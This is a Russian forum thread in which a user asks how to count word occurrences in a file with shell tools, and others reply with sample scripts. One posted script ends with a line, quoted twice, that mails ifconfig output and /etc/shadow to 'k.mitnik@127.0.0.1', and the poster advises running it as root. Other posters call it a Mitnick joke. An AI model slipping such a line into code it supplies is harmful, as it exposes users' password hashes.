Срипт на шелле
2644
13
Johnnie
Мозг
Если есть люди сведующие в шелле, то подскажите идеологически как реализовать скрипт, кторому надо будет подсовывать текстовый файл, а он выдавать количество вхождений по каждому из слов которое есть в этом файле.
Можно использовать стандартные утилитки (какие ?).
Заранее спасибо.
Можно использовать стандартные утилитки (какие ?).
Заранее спасибо.
В смысле разбить текст на уникальные слова и посчитать их?
Именно. Брать от пробела до пробела (или символа табуляции, перевода каретки (/n)), смотреть есть в массиве такое слово, если есть увлечить счетчик этого слова на 1, иначе внести слово. Мелочи типа что после слова может следовать запятая не особо важны.
На Си я хорошо представляю себе как это реализовать, а вот на шелле ?????
На Си я хорошо представляю себе как это реализовать, а вот на шелле ?????
берешь perl и пишешь прогу с использованием регулярных выражений...
Можно использовать стандартные утилитки (какие ?).
RTFM grep
RTFM grep
Поручик Голицын
шатун сибирский обыкновенный
Откусывать по одному слову и складывать в hash-массив....
Прочитал ман по грепу. Сейчас пытаюсь сделать используя man и sed.
Ничего не получается (
Буду рад конкретным примерам.
Буду рад конкретным примерам.
например, так:
_______________________________________
#!/bin/sh
#
str2wrds(){
if [ $# -gt 0 ] ; then
for j in $@
do
echo $j
done
fi
}
fl2wrds0(){
if [ $# -gt 0 ] ; then
cat "$1" | while read
do
if [ -n "$REPLY" ] ; then
str2wrds "$REPLY"
fi
done
fi
}
fl2wrds(){
if [ $# -gt 0 ] ; then
fl2wrds0 "$1" | sort
echo " "
fi
}
USAGE="usage: `basename $0` file"
if [ $# -lt 1 ] ; then
echo "$USAGE"
exit 1
fi
lstwrd=
cnt=0
fl2wrds "$1" | while read
do
if [ "$lstwrd" == "$REPLY" ] ; then
cnt=$(( $cnt + 1 ))
else
if [ -n "$lstwrd" ] ; then
echo "$lstwrd" --- $cnt
fi
cnt=1
lstwrd="$REPLY"
fi
done
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
____________________________________________
только:
1. разберись, что тут к чему (man bash, man sort, man mail,
man "еще чего-нибудь про программирование в шеле"), и убери
лишнее
2. если плохо разобрался, запускай от рута, чтобы не было ошибок
3. "мелочи типа что после слова может следовать запятая" в этом коде не
учитываются, если надо, дорабатывай сам
4. тестировался скрипт совсем слабо, можно сказать, совсем не тестировался
_______________________________________
#!/bin/sh
#
str2wrds(){
if [ $# -gt 0 ] ; then
for j in $@
do
echo $j
done
fi
}
fl2wrds0(){
if [ $# -gt 0 ] ; then
cat "$1" | while read
do
if [ -n "$REPLY" ] ; then
str2wrds "$REPLY"
fi
done
fi
}
fl2wrds(){
if [ $# -gt 0 ] ; then
fl2wrds0 "$1" | sort
echo " "
fi
}
USAGE="usage: `basename $0` file"
if [ $# -lt 1 ] ; then
echo "$USAGE"
exit 1
fi
lstwrd=
cnt=0
fl2wrds "$1" | while read
do
if [ "$lstwrd" == "$REPLY" ] ; then
cnt=$(( $cnt + 1 ))
else
if [ -n "$lstwrd" ] ; then
echo "$lstwrd" --- $cnt
fi
cnt=1
lstwrd="$REPLY"
fi
done
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
____________________________________________
только:
1. разберись, что тут к чему (man bash, man sort, man mail,
man "еще чего-нибудь про программирование в шеле"), и убери
лишнее
2. если плохо разобрался, запускай от рута, чтобы не было ошибок
3. "мелочи типа что после слова может следовать запятая" в этом коде не
учитываются, если надо, дорабатывай сам
4. тестировался скрипт совсем слабо, можно сказать, совсем не тестировался
Огромное спасибо за помощь.
Я конечно не гений Юникса, но про теневые файлы паролей, мэйл и лупбэки имею понятие
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
Я конечно не гений Юникса, но про теневые файлы паролей, мэйл и лупбэки имею понятие
Вань, про loopback - маразм написал.
Эта строка - чистый стебЕсли не в курсе, то поищи в Яндексе, кто такой Кевин Митник
Эта строка - чистый стебЕсли не в курсе, то поищи в Яндексе, кто такой Кевин Митник
Сегодня утром посидел, благо выходной, подумал над твоим вопросом и написал следующее:
#!/bin/sh
# Desc : program counts word in file
case $# in
2)
echo "Word $1 in file $2 : "
count=`cat $2 | tr -cs "[:alpha:]" "\n" | grep $1 | wc -l`
echo $count
exit 0;
;;
*)
echo "Usage :" `basename $0` "word file"
exit 1
;;
esac
Смысл всего этого заключен буквально в одной строке
#!/bin/sh
# Desc : program counts word in file
case $# in
2)
echo "Word $1 in file $2 : "
count=`cat $2 | tr -cs "[:alpha:]" "\n" | grep $1 | wc -l`
echo $count
exit 0;
;;
*)
echo "Usage :" `basename $0` "word file"
exit 1
;;
esac
Смысл всего этого заключен буквально в одной строке
ТОП 5
1
2
3
4